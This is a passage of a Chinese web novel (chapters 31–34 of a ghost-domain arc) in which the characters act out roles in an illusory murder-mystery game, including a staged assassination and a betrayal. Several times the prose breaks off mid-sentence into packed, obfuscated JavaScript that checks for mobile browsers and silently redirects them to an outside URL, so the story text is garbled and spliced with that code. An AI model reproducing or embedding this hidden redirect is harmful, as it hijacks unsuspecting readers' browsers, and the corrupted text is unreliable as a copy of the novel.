l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500995|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话。 “嗯。” 闵朝言坐起身。 她抬手拉开床帘的动作晃动了床边的铜铃,六名侍女自门外走入,动作自如地服侍她梳洗穿衣,对床上的顾羽熟视无睹。 反观顾羽可就没有那么淡定。 在门被推开的一瞬间他就被吓了一激灵,迅速把自己整个人埋进被子里,只露出一点点口子用来看闵朝言,眼睛眨巴眨巴半天,也不敢出声,等侍女们都退下之后,人已经热出了一身薄汗。 “哇,吓死我了……” 顾羽牌毛毛虫终于从被子里探出头来,大口大口喘着气,发现一旁榻上端正放着一套男装,眼睛瞪大了。 “果然她们还是发现我了……” 小狗耷拉着脑袋。 “你昨晚进来了就没走,她们当然会知道你在。” 闵朝言坐到床边,有些不解地回答。 “我担心会对你的名声不好嘛。在我的剧本里,我听到了好多朝臣要对付你呢,他们肯定会用这个打舆论战的。” 顾羽说的头头是道。 “那又怎样?” 闵朝言反问。 “嗯?” 这下轮到顾羽不解了。 “对于这位公主来说,和权力比起来,名声不值一提。” 闵朝言回答, “穿衣服,我们得去和越珑汇合。” 顾羽一知半解地点了点头,从被子里钻出来换衣服,才反应过来: “你知道越珑在哪里?” “看剧本。” 闵朝言回答。 竹简上,第三阶段的剧本内容已经出现: - 作为镇国公主,你的婚礼是这个国家今年最重要的盛事。 所有的朝臣都早早备好贵重的贺礼,连外派官员的送礼马车都已经启程多时。 在这样的喜庆氛围中,皇帝突然下发了一道圣旨,命令驻守在边城多年的大将军越珑回京。 越珑是你的表姐,曾经你们一起长大,两小无猜,关系极为亲密,她甚至在成年后也常常夜宿公主府。 然而,就在六年前的某一天,她深夜被你赶出府邸,第二天,她便自请离京戍边,六年里,你们俩再也没有过任何往来,即使她送来的年节贺礼,你也从未收下过。 关于越珑的回京在京城中引起了一番议论,因为除了是你的表姐之外,越珑还有一个身份:她是尚书府顾长公子,头一号的追求者。 难道大将军是为抢亲而来? 在京城的流言中,这是最没有人相信的一则。 但你知道,这是真的。 - 另一边,顾羽看完了自己竹简上的内容,脸色一变,充满了不解和膈应,连忙和闵朝言解释: “我和越珑根本就不熟!她才没追我呢!” “角色设定而已。” 闵朝言头也没抬。 “我说的就是角色啊!” 顾羽强调, “她那些送来的礼物都是直接给我爹的,其实我从来没拿到过的。” 这个沉浸式剧本杀,他还玩得挺代入。 闵朝言放下竹简,若有所思。 公主,皇帝,驸马,尚书,还有新出场的大将军,这五个人物看似各有阵营,却又明显都藏着自己更深的秘密。 闵朝言有种预感, 故事已经进行到这里, 死者, 该出现了。 31. 校园鬼域(10) 在侍女的带领下,闵朝言走向前厅。 “大将军”正站在厅中等待着她。 越珑一身黑色轻甲,身侧佩着一把短剑,身材挺拔有力。她黑发束起,露出线条利落的一张脸。闵朝言印象中的她常常是笑着的开朗模样,所以现在才发现,当她不笑的时候,其实是很有威慑力的一个人。 “殿下,” 看到闵朝言过来,越珑很自然地行礼。 闵朝言点头,看了侍女一眼,对方瞬间心领神会,带着其他人一起离开,只留下闵朝言和越珑两个人独处。 看来公主和将军的关系,也不是真如表面上一样全然闹翻。 否则,作为公主心腹的侍女也不会如此放心闵朝言与越珑独处。 “你找到木灼青了吗?” 闵朝言在主位上坐下,给自己倒了杯茶。 “幻境和鬼域大小一致,我让手下在外面查看了一圈,没什么有用的收获。” 越珑摇头。 闵朝言现在所处的鬼域并不大,除了外面的一圈商业街,就只剩下公主府,也就是说,木灼青现在还在这个府邸里。 这和她们之前的判断是一致的。 “我没见到她。” 闵朝言也摇头。 从进入这个鬼域开始,木灼青就一直没出现,如果不是有系统时刻检测那四个人类体征点,闵朝言都要以为她是不是不小心死在这个鬼域里了。 “在幻境中,我们每个人扮演的角色应该都有一定份量,她现在还没出现,很奇怪。” 越珑有些忧心,又看着闵朝言: “我先和你说我的剧本吧。” 相比起鬼域新手闵朝言和顾羽,越珑对这种“幻境沉浸剧本杀”似乎颇有经验。 在进入幻境后, 她很快总结出了自己身份和任务:一个双面间谍,表面上忠于皇帝,实际上是公主的忠臣。 在第一阶段时,她的任务就是获取皇帝的信任,这很简单,越珑完成了任务,获得了 “回京参加公主大婚”的机会。 第二阶段的剧本开启,她的任务就是和公主汇合,查清皇帝举办这一场盛大婚礼的真正意图。 “我还有一个任务,是要‘找出公主身边的间谍’。” 越珑说, “我觉得是你那个‘驸马’。” “顾羽?” 闵朝言问。 “嗯,我的身份是双面间谍,在假意投诚皇帝之后,一直是通过礼部尚书和皇帝联系的,他很明显是皇帝的忠臣,作为礼部尚书的儿子,他的阵营也很固定。” 越珑回答。 “顾羽……” 闵朝言皱起眉。 “我知道你在想什么,顾羽本人肯定不会要对你不利,但是我们在幻境中的‘角色’,会在一些节点,控制我们的行动。” 说到这里,越珑的神情严肃起来,她看着闵朝言,眼中带着很复杂的情绪,有一瞬间的悔恨流露。 “总之,你还是要小心,越是NPC多的场合,我们越容易被自己的‘角色’控制,你不能真正信任任何人。” 越珑叹了口气,一口饮尽杯中茶水,站起身,没有给闵朝言继续细问的机会: “我们先找到木灼青吧。” 她显然不想继续深聊这个话题。 “好。” 闵朝言也没有说什么,点点头, “我把所有人都叫过来?” 一个个排查当然也是可以的,但是为什么? 作为这个府邸的主人,闵朝言有随心所欲折腾所有人的权力。 不到一刻钟,府中所有人都低着头站在前厅,多为侍女,后排站着家丁和侍卫,粗略看过去,也有近百人。 根据侍女所说,公主府的所有仆人侍卫加在一起超过两千人,只是大多数被分配在别院,并不全部在府中服侍。 闵朝言把这个数字理解为剧本杀中的人物背景设定,用来强调“镇国公主”这个角色的权势滔天。 越珑站在闵朝言身侧,两个人四只眼睛一个个扫过去,每张脸都仔细观察了一遍,却没有发现那张白净怯懦的熟悉面孔。 木灼青不在这里。 不对,那她还能在哪里? 这个鬼域一共就这么大啊! 正当闵朝言疑惑时,耳边有极其细微的破空声响起! 她果断侧身闪避,避开了心脏处,然而左臂的衣衫被划破,被磨得极其锋利的飞针刺入皮肤,一股极其骇人的凉意从伤口开始扩散,迅速蔓延到四肢百骸。 是刺杀! “有刺客!保护殿下!” 越珑迅速反应过来,一把抱住闵朝言,用自己的铠甲为她挡下了接下来的飞针,甩出身侧短剑向攻击袭来的方向而去。 ——! 金属利器没入血肉的一声闷响,不远处一个人影倒下,那是府中一个侍女,闵朝言记得她早上曾经服侍过自己更衣。 此刻,她的眼睛死死盯着闵朝言,唇瓣无声地颤动,却没有吐出来一个字,然后,缓缓闭上了双眼,停止了呼吸。 她死了。 故事的第一个死者出现了, 但是,为什么是她? 闵朝言感到微妙的疑惑, 一般来说,剧本杀中的死者身份必然很重要,至少是能够将各个嫌疑人连结在一起的中心,但是一个无名无姓的刺客死了,怎么能让一群身份贵重的角色陷入“嫌疑”? 这个人死前一直看着自己,到底是想说什么? 闵朝言缓缓皱起眉。 其余的侍女快速上前将刺客的尸体搜身,她们的动作利落冷静,并不像是寻常侍女,反而更像训练有素的死士。 “殿下,刺客是戴上人皮面具,冒充府中仆人混进来的。” 一直跟随在闵朝言身侧的侍女走上前来汇报,随后侧身,露出已经被剥去人皮面具的尸体。 “——!!!” 闵朝言听见越珑的呼吸瞬间停滞,随后,心跳近乎爆裂一般疯狂跳动起来。 “怎么会,怎么……” 越珑的手控制不住地颤抖着,喃喃自语,甚至无法连成一个完整的句子。 闵朝言抬手握住了越珑的手,很用力,尝试用疼痛让越珑暂时冷静下来。 她看着此刻被剥去人皮面具的刺客,神色也渐渐沉下来。 躺在地上的人,她认识, 正是那张她们一直在寻找却找不到的面孔, 白净怯懦,秀气柔软, 那双总是带着忧郁和不安的眸子此刻终于合上,像是陷入一场梦境。 这个故事的死者, 是木灼青。 “怎么是她,怎么会是她……为什么?我,我做了什么……” 越珑的声音艰涩,她语无伦次地质问自己。 “越珑!” 闵朝言握着她的手更加用力了,低声唤她的名字。 “……我知道。” 沉默良久,越珑点头,闭上眼,深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504797|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸了一口气,抬起头时已经能勉强掩盖住自己的情绪。 “把刺客的尸体放入冰室,彻查她的身份。” 闵朝言面色沉静地吩咐下去。 冰室。 闵朝言让其他人离开,房间里只有她和越珑两个人。 越珑呆站在木灼青的尸体前,看着对方的脸,眼睛一眨不眨,很久很久。 “我一直在躲她,不想见她,也不敢见她。” 在长久的沉默后,越珑开口。 闵朝言没有搭话,再不擅长人类交往的人也知道这个时候应该做的只有安静倾听。 “我们家世代是捉鬼人,我师从我母亲,她叫越英,是个不太厉害的捉鬼人,所以当我展现出天赋之后,她很高兴,希望我能完成她的梦想。 在我十二岁那年,我们附近的小学发生了事故,一个新诞生的鬼域将几个孩子和老师卷了进去,母亲带着我出发了,她说,我们要去救人,这是捉鬼人的职责。 那个鬼域里,我们只救出了灼青一个人,家,朋友,一切……都毁在了那个地方。我家收养了她。 我知道,她一直想要回到鬼域里,想要报仇,但我做不到,我没办法再进去了。” 越珑说完,自嘲般笑了一声,长叹一口气, “闵朝言,你知道我为什么一见到你,就很喜欢你吗?不只是因为你看了我的画。” 她说。 闵朝言正在尝试从越珑的倾诉中找到她回避鬼域的原因。 在逐字分析之后,她发现自己除了已知信息一无所获,正有点不爽,忽然听到越珑这样说,疑惑地眨了眨眼睛。 “因为我很羡慕你,你好像就是那种,无论发生什么,无论失去谁,都不会感到痛苦,甚至不会在意的人。” 越珑看着闵朝言,扯出一个比哭更加狼狈的笑容,声音很轻: “我好羡慕你。” 闵朝言听着这基本上就是在说她冷酷无情的话,依然没有什么反应,走上前,看着越珑的眼睛,想了想,轻轻碰了一下她的手。 “嗯,我是不在意。” 她说, “不过,如果你现在抱我一下,我不会推开你。” 话音未落,她被紧紧拥入一个怀抱中,越珑很用力地抱住她,如果闵朝言是个真正的人类,此刻必然已经喘不上气了。 在这个绝不算舒适的拥抱中,闵朝言抬手,拍了拍越珑的后背。 在一片寂静中,她感到肩膀上一点湿意。 在这寒冷的冰室里,几乎可以算得上温暖的, 越珑的眼泪。 「额,其实我们是不是应该告诉她,我这里还是有四个人类生命体征来着……」 系统看着眼前的一幕,莫名有种做了坏人的心虚之感。 ‘不用。’ 闵朝言回答。 ‘有些事,只有在对方死去之后才能想明白,她现在有这个机会解开心结,木灼青又没有真的死,不是很好吗?’ 「哇,我很少听你说这么长的话诶,你是不是想到自己了?」 系统说完,又一顿,意识到自己说错了话,马上找补: 「我、我不是这个意思!对、对不起……」 “没事。” 闵朝言闭上眼,声音很轻地回答: ‘你说得对。’ 她是想到自己了。 有些人只有在失去之后,才变得那么重要, 重要到, 无论如何也想要找回来。 32. 校园鬼域(11) 闵朝言也不知道过了多久,越珑的呼吸渐渐平稳下来,松开了她。 “我们现在要尽快出去。” 越珑说着,看了一眼木灼青的“尸体”,又说: “一起出去。” 这个意思很明显,是要带着木灼青也一起离开,即使带走的只能是尸体。 闵朝言点头,不置可否。 木灼青目前还活着,眼前的尸体很可能只是幻境的障眼法。 这种事情,最好还是让越珑自己去发现。 “我其实在想一件事,她死之前,看的人不是你,是我,为什么?” 闵朝言说。 即使已经尽力平静下来,但这个话题还是让越珑沉默半响,才开口: “她虽然胆子小,但很聪明,袭击你应该是被人设控制之后做出的行为,在最近一直看着你……要么是人设依然控制着她,要么是她有信息要传递给你。” 有信息想要传递? 闵朝言想起木灼青被摘下人皮面具之前的脸,她当时在想什么? 对,她记起来了。 那个时候闵朝言在想,这个侍女,是早上服侍她更衣的人之一。 “她可能已经把信息传递给我了。” 闵朝言皱起眉,转身向外走, “我去看看,你在这里守着。” 打开门,门口已经站了一个人,是顾羽。 他今天穿的是一身深蓝色劲装,袖口收紧,上面绣着金色纹路,看上去潇洒利落得多,远比昨日的长衫青衣要更符合他的气质。 “我听说有刺客,你还好吗?” 顾羽上前一步握住闵朝言的手,仔细检查着,发现她左臂的衣袖有破损,瞬间皱起眉: “怎么回事?” 他如临大敌,俯身仔细观察着,在一片胜雪的肌肤中找到一个几乎已经消失的红点,看了闵朝言一眼,又不敢抬手碰,只是抿紧下唇。 “没关系,只是一只针。” 闵朝言摇头。 「其实如果你是人类的话,就会有大问题了。这只针上涂了浓度很高的尸毒,寻常人触之必死,但因为你本身就是最厉害的尸体,所以反而成了你的补品。」 系统说,还有点得意, 「我给你选的这个身份,实在是太不错了吧。」 闵朝言抬手摸上手臂间那几乎已经看不见的伤口,若有所思。 幻境剧本杀只是她戏谑的叫法,实际上,幻境中所发生的一切都是鬼域主人有关于执念的记忆所化,也就是说,闵朝言这些“玩家”实际上根本无法决定自己“角色”的命运。 今天这场刺杀没有影响闵朝言, 是因为她本质是鬼王而非人类,不受尸毒影响; 但是在鬼域主人所经历的过去,公主也没有因为这场刺杀而亡,是因为什么? 公主的真实身份,又是否就是那把解开幻境和执念的钥匙? “抱歉,我都忘了,” 越珑听到顾羽说起这个,才想起来闵朝言也受了伤,面上有些愧疚。 “没事。” 闵朝言摇头,她不在乎这种事,越珑是否关心她也并不重要。 得到了谅解的越珑却似乎更加低落,沉默了一下,又说: “我下次会注意的。” 闵朝言看了她一眼,有些不解她为什么还在纠结这个,只能点点头: “好。” 她拿出自己的竹简, 出乎意料的是,那上面还没有浮现出第四个段落。 可死者已经出现了,这难道不是对剧情会产生重要影响的节点吗? 还差什么? 还缺什么触发点? 闵朝言走上前,再一次认真看着木灼青的“尸体”, 她一定漏了什么。 “怎么了?” 顾羽走上前,这时才看到木灼青的脸,不自觉睁大了眼睛,呼吸一顿,下意识看了一眼越珑,终于明白了为什么越珑的气氛如此低落阴沉。 “我在想,有什么是我遗漏的。” 闵朝言的手摸上木灼青脸上人皮面具被撕下之后留下的痕迹,忽然手中出现了一个玉质的小牌子。 嗯? 闵朝言眼睛一转,才明白过来: 这是尸体上带来的的“线索卡”。 越来越像个彻彻底底的剧本杀了。 闵朝言在心里默默说了一句,将小牌子拿到眼前。 那是一个巴掌大的玉牌,上面雕刻着线条简洁大气的花纹,还有一行小字: “宫禁通行”。 这是一个用来出入皇宫的腰牌。 闵朝言恍然大悟。 竹简上,第四段内容缓缓浮现: - 一场惊天刺杀,以无人伤亡落幕。 然而,从刺客尸体上搜出的宫禁腰牌,却即将掀起更大的风雨。 是谁想要杀死风光正盛的你? 镇国公主,权倾朝野,大婚在即,一定有人想要你死,但有谁是想要你活着的呢? 你的私军围住了皇城,要找出答案。 这场刺杀让皇帝震怒,将宫中所有可能与此案有关的人全数关押,交由你审问,查清真相。 然而,当你示意朝臣奏请延缓大婚时,愤怒的皇帝砍掉了他的脑袋。 刺客是谁?幕后真凶的目的又是什么? 在危险中救下你的将军是敌是友? 距离你的婚礼越来越近, 你需要找到答案, 真正的答案。 - 闵朝言看完第四部份的内容, 越发讨厌这种谜语人风格的文字。 能不能说点人话! 随着竹简上的文字浮现完善,三人所处的环境也悄然改变,她们已经不再站在冰室中,而是身处公主府的正厅。 闵朝言坐在主位上,身边是站着的顾羽,和另一边坐在次席上的越珑,在下方的位置是跪了满地的人,有的人身上有着明显的刑讯痕迹,血透过衣衫浸到了地面。 这是哪里? 三人互相对视两眼,碍于人多眼杂,没有开口互相交流。 这或许就是剧本杀里的“场景跳转”大法吧。 「这个幻境还挺方便的,要是我们完成任务也能直接从一个情节点跳到下一个情节点就好了,多轻松啊。」 系统有点羡慕。 闵朝言没有搭理它,她还在思考竹简的内容。 总而言之,虽然说的弯弯绕绕,但竹简的大意,其实就是让闵朝言尽快查清刺杀的幕后黑手,并对此作出反应。 木灼青“尸体”上的宫禁腰牌,让闵朝言可以剑指宫廷,去查那些深藏在宫禁之后的贵人。 但他们真的是凶手吗? 这么明显的栽赃,手段也太粗糙了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509562|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 即便是最没有经验的刺客,也会知道在自己行动之前把身上可以辨认身份和来处的东西全部清理干净。 除非这个牌子本来就是为了让人发现才会被戴在身上。 公主难道不知道这一点吗? 不可能,但她依然以腰牌为接口开启了对皇宫的“查案”。 说好听一些这是查案,说难听一些,这就是在打皇帝的脸。毕竟,在皇帝下旨查案之前,她已经派兵围皇城了,这基本等于逼宫了。 但即便如此,皇帝依然没有发作,反而顺着这个女儿开始大肆搜查。 这是出于宠爱,还是因为皇帝早已无力抗衡公主,只能顺着她的意思来保持住自己的面子? 但如果皇帝早已经无力抗衡公主,公主又为什么要顺着皇帝的旨意大婚? 闵朝言有点想不通了。 沉思中,闵朝言鼻尖微动,嗅到一股奇异的香气,还未深究那是什么,忽然觉得眼前一片模糊,身子一软就向一边倒去,身旁的顾羽一把抱住她,让她靠在自己身上,神色紧张: “怎么了,不舒服吗?” 闵朝言没有说话,只是抬眼,定定看着顾羽,似乎一时间没有反应过来。 “毕竟是刺杀,殿下还是受惊了,也需要卧床休息几日才好。” 顾羽,不,“顾长公子”抱着闵朝言,满是爱怜地将她的发丝别在耳后,声音轻柔温润。 越珑说的是对的, 顾羽也许不会背叛她,但不代表他的角色不会。 “你……为什么?” 闵朝言握住顾羽的袖子,这句话却不是她主动说出的。 这是“公主”在问“顾长公子”。 “殿下呀……” 顾长公子没有回答,只是伸出手,轻轻在她的后背拍着,像是在哄孩子一般。 在下一个问题浮现之前,闵朝言闭上眼,陷入了梦境。 几个时辰前, 在闵朝言离开房间后,顾羽一个人起身更衣。 他以为自己不会穿这种古代的复杂衣服,没想到身体好像有自己的意识,轻车熟路地将复杂的古装穿好。 顾羽晃了晃手臂,觉得这件衣服比最开始那件飘逸广袖装,多少还是舒服了一些。 不过,好像有什么东西,有点硌得慌。 他伸出手去摸袖袋,果然摸出来一个小玻璃瓶。 这是什么? 顾羽有些疑惑地皱起眉。 于此同时,竹简浮现下一部份的内容: - 你的计划成功了,公主收下了你的花,并为你簪在鬓边。 世人只知道你的孤傲高洁,却不知道藏在那之下的,是一颗多么污浊不堪的心。 你的父亲这些年着力培养你,希望你能进入公主府,如今你成为了未来的驸马,他的大计也终于能开始了。 你很清楚,只有一切按照父亲的计划发展,你才能够得到自己心中真正渴望的一切, 但那样的话,她所想要的一切,都将毁于一旦。 但其实这个选择非常简单, 不是吗? 毕竟, 从她选择你的那一刻开始, 你就已经只是她手中的弃子了。 - 顾羽看着手中的毒药,缓缓握起拳头,愤怒地向地上狠狠掷去! 可就在放手的一瞬间,他停下了动作。 33. 校园鬼域(12) 再次醒来时, 闵朝言眼前是一片绚烂的星空。 如浓墨泼洒过的黑色为底,如宝石一般璀璨闪耀的星空,很美,她一时间居然出了神。 这不是真正的夜色, 更绚烂,更美丽,也更无可挑剔的, 往往都是假的。 「你醒了?你怎么样?」 系统的声音传来。 闵朝言莫名感到一阵安心。 这很奇怪,其实系统能帮到她的一直都不多,它更多是信息的提供者,而不是身体力行的实干者,毕竟,它也没有身体。 在系统还在, 仅仅只是这件事,就让闵朝言觉得自己的呼吸稍微放松了一些。 她越发感觉到自己的改变,奇怪的是,她已经记不清自己没有改变之前是什么样子的了。 ‘没事,这是哪里?’ 她扶着头坐起来。 并不难受,有种睡得非常饱足之后的晕眩感,比起疲惫更像是一种因为过度休息而产生的惫懒。 「顾羽把你送到这里来的,这是公主卧室下面的一间密室,好奇怪,他好像对这里很熟悉的样子。」 系统回答。 闵朝言知道,将自己送到这里的应该不是顾羽,而是“顾长公子”。 他对这里颇为熟悉,甚至知道密室的存在,这证明他和公主之间,必然存在着一些更加深刻,也更加隐秘的联系。 但这联系是什么, “公主”知道,闵朝言不知道。 阶段式剧本最大的坏处,在于不断更新的信息会让认知一次次产生各种反转。 对于闲暇寻乐的玩家来说,这是游戏趣味的一环, 对于需要快速寻找机会逃生的卷入者来说,这是想让人砸了这破鬼域的怒点。 闵朝言叹了口气,再次去翻自己的竹简,这一次却摸了一个空。 竹简不见了。 嗯? 闵朝言的动作一愣。 怎么回事, 竹简难道是“顾长公子”拿走的? 不可能,竹简实际上就是人物剧本,从竹简出现开始,闵朝言在任何地方范围,都不会引起其他NPC的注意,因为在他们的眼中,这个东西根本就不存在。 “顾长公子”虽然不是一般的NPC,但毕竟也属于这个剧本中的人物,当顾羽的身体被“顾长公子”的意识控制是,他理所当然也是看不见这个东西的。 这是玩家之间才能看到、触碰的东西。 所以,能从她身上拿走的竹简的,其实只有一个人。 顾羽。 「闵朝言,你在想什么?」 系统问。 闵朝言久久没有回答,忽然笑了一声出来,那笑声里居然有着可以被称为“复杂”的情绪。 系统从来没见过闵朝言这样,它不解,甚至有点害怕。 「你,你笑什么呀?」 系统小心翼翼地问。 ‘顾羽拿走了我的竹简。’ 她说。 「什么?这人果然背后捅你刀子,太坏了!我们到时候出去要爆锤这个臭男二一顿!」 系统果然炸了。 ‘不,我不是因为他背叛了我才笑。’ 闵朝言摇头, ‘我笑,是因为,直到现在,我依然认为他不会背叛我。’ 她说。 这是一种很奇怪的感觉,闵朝言自己也不理解。 她一贯擅长分析逻辑,分析利弊,计算得失仿佛是她与生俱来的能力,不需要任何刻意思考,她就能迅速整合信息,进行下一步推算。 尽管没有关于过去的记忆,但闵朝言有种感觉,这样的能力,在她的过去,应该是足够的。 但是,在她真正的记忆,也就是从医疗舱里醒过来之后所经历的一切里,这个能力好像又不足够了。 她遇见了人,但人很复杂,有利益得失,有算计权衡,又有着一种闵朝言明明知道自己必然接触过,感觉却很陌生的东西: 情感。 闵朝言不擅长计算情感,她甚至连那些在自己身体里涌动着的情感都觉得陌生。 「啊,为什么?他都把你的剧本拿走了诶!」 系统不解,甚至有点气愤。 比起自己现在的情绪,闵朝言甚至更能理解系统的不解。 是啊,从行为逻辑上来判断,顾羽明明就是选择了和自己的角色站在了一起,把她一个人扔进密室,拿走了她最重要的东西——竹简剧本。 她为什么会觉得顾羽没有背叛自己? 多么不合逻辑, 多么无法理清的判断。 ‘我不知道。’ 闵朝言摇头,转头看到床边放着一杯茶,和一碟点心。 点心是精致的白兔样子,圆圆滚滚,憨态可掬,做出了双爪合十低头的可怜样子,像是在道歉,又感觉更像是撒娇。 闵朝言一口咬掉了兔子圆滚的脑袋,抬头看着那片被精心雕琢出的,美轮美奂的, 虚假的夜空。 密室外, 公主府已经乱成了一团。 公主殿下骤然的失踪,让一切瞬间陷入混乱状态。 “所有人戒备,严锁府内,一只苍蝇也不能放出去!” 一直侍奉在闵朝言身侧的侍女此刻换上了一身软甲轻装,手中紧握长剑,脸色严肃,眼神锐意锋利。 “要是有人敢对殿下不利,先杀再说!” 她一挥剑,眼中泛起杀意的红。 “是!” 府中大多都穿上了作战服,手持武器,吼声中战意勃发。 然而,并不是所有人在应声。 人群中,有人面面相觑,对了眼神,低声说着什么。 在阴暗的角落里, 不安的因素开始缓缓蔓延。 “麓雪姐,顾公子也不见了,会不会是他带走了殿下?要派人搜一遍礼部尚书府吗?” 有侍卫靠近身侧,低声问她。 被称为麓雪的侍女眸色一沉: “不行!殿下失踪的消息不能泄露,否则,那些别有用心的老家伙,必然会试图伸手控制公主府。” “可是大婚在即,就算我们现在能守住消息,未来也——!!” 那人话音未落,却见长剑锐光乍现。 再一回神,他看见自己的身体依然站立,那脖颈上却空空如也,只有鲜血喷涌而出! 我的头呢? 我的头,我的头…… 啊,在这里, 我在头这里, 我在头这里!!! 他想冲着自己的身体大吼,已经断裂的喉咙却撕裂着吐不出一个字。 不!我在这里,我在这里!!! 他怒瞪着一双爆裂的双眼,再也发不出声音了。 “还有人有异议吗?” 麓雪面无表情地看着下方众人,方才似有异动的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517178|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群全部快速端正了身体,大吼: “是!!!” 杀了一个明显是细作的男人,麓雪收起自己的剑,若有所思。 她转过身,走到一个角落里,警惕地观察了自己四周之后,从贴身口袋里拿出一个竹简,翻开里面,快速地向下看去。 为什么,为什么这次和之前不一样了? 不应该啊,明明她这么努力,好不容易,终于要走到结尾了! 麓雪的呼吸愈发急促起来,她翻来覆去地看着竹简上的内容,那上面却是和之前她无数次翻阅一样,最后一行依然是空白一片。 “不,不对,为什么会变,故事怎么会变……” 她死死咬着自己的指关节,直到那上面被刻印出深深的齿痕。 在之前的轮回中,尽管细节上会有细微的变化,但总体来说都会走向同一个方向,同一个结局。 麓雪想起自己被抓进这个鬼地方时,那个声音说的话: [想要离开,就将她的痛苦,百倍品尝吧] 马上了,马上就是一百次了! 她想要回家,她一定要回家! 陷入焦虑的麓雪看不见, 她的眼前,正蒙上一层极浓郁的黑雾, 遮住瞳孔, 和生的唯一希望。 “发生什么了?” 越珑走过来,她正问着,眼神却看到麓雪手上的竹简,动作微顿。 “将军。” 麓雪看着越珑走过来,连忙收敛起脸上焦躁神色,点头, “将军有何事吩咐吗?” 她看着越珑,脸上的表情没有破绽,甚至没有试图藏起自己手中的竹简。她认为越珑看不到竹简吗? 越珑心中疑惑更盛。 拿着竹简,可以阅读,这人明显也并非鬼域幻境中的傀儡,她这样的毫不掩饰竹简的动作,难道以为自己是鬼域幻境中生成的傀儡? “只是想问问殿下如何了。” 越珑说着,不着痕迹地将自己的竹简拿在手上,放在一个麓雪余光可以扫到的位置。 然而麓雪的神色没有一丝变化,视线也没有偏移。 “殿下身体不适,需要休息,还请将军在客舍休息片刻,殿下自会召见的。” 麓雪回答。 在越珑新开启的剧本中,“公主”在审讯皇宫送来的嫌疑人时,突然昏迷,被“顾长公子”抱回房去,随后一整夜都没有过消息。 然后,到了白天,公主府突然闭门谢客,上下戒严,不放一只苍蝇进来,也不放一只苍蝇出去。 越珑就是如此被困在了这里。 当然,越珑也并不想离开,她现在非常需要和闵朝言汇合,不是为了交换什么信息,她就是想要看到闵朝言,想要确认对方的安全。 木灼青已经…… 无论如何,越珑一定要把闵朝言完整带出去。 “好,我知道了。” 越珑说完,转身离去。 麓雪也是个被卷入幻境的人,但她看不见越珑的竹简,不,她看不见所有人的竹简,她以为这个幻境里只有她一个人类。 这一切必然是鬼域主人的手笔,但是为什么? 麓雪的特殊之处在哪里,让鬼域主人放着越珑一个捉鬼人不对付,偏偏只针对了麓雪? 越珑的手握成拳,脚步愈发急促起来。 她不知道闵朝言在哪里, 但她很清楚,带走闵朝言的那个人在哪里。 34. 校园鬼域(13) “顾羽?顾羽!” 越珑踹开冰室的门,余光扫到躺在一旁的木灼青,视线被灼伤一般迅速避开,又向另一个方向大声喊: “闵朝言呢!” 在冰室的角落里,长身玉立的青衫男子转过身来,神色温和中潜藏着无法被忽略的傲慢。 这不是顾羽,是“顾长公子”。 “将军,你来迟了。” 他以一种近乎于迷离梦幻的语调说着,透过冰室,看着并不存在的远方。 “我猜猜,你是来找她的,是啊,你当然要来找她。” “我真羡慕你,她闭上眼睛的时候真美,是不是?” 唧唧歪歪说什么梦话呢! 越珑攥着拳头上前就要冲过去锤他,却又听见他说: “你遵从了‘命运’的指引,但是,好像一切都没有改变,你知道你错在哪里吗?” “命运呀……是不能遵守的。” “你要打破它。” 越珑的动作顿住,当然不是因为她被眼前这人神神叨叨的鬼样子吓到了,而是她突然意识到了一件事。 能够在鬼域中凭空知道顾羽的位置,当然不是因为越珑神通广大可以定点追踪,她要是有这个能力也不至于先找木灼青再找闵朝言,结果两个都找不到。 她能找到,因为这是竹简上写的, - … 顾长公子再也没有离开冰室。 - “命运告诉你,你要杀了我,因为我是一个恶人,我会阻碍她的路,但你有没有想过,命运也会欺骗人?” 长公子的语调依然梦幻,他说着,仿佛看见了什么不可回旋的未来,露出一个充满了期待的笑容来。 说句实话,的确鬼气森森的。 “命运”,其实也就是竹简上写着的剧情,这不难推测,但是顾长公子作为剧情中的人物,是如何得知剧情存在的? “你会为了她杀了我吗?” 长公子问着,忽然笑了一声。 越珑没有回答,她只是攥紧了自己的钢笔。 “那么,她就是你的公主了,其实,她也是我的‘王’。我们生来就注定为了她付出一切,这不是命运,是我们存在的价值,我,你,这里所有的一切。” 长公子喃喃着,忽然定定看着越珑的眼睛。 “我很想见见我的公主。” 他说。 下一秒,一切陷入黑暗漩涡,在意识的最后关头,越珑大步向前冲去,又猛地停下,向身后看去。 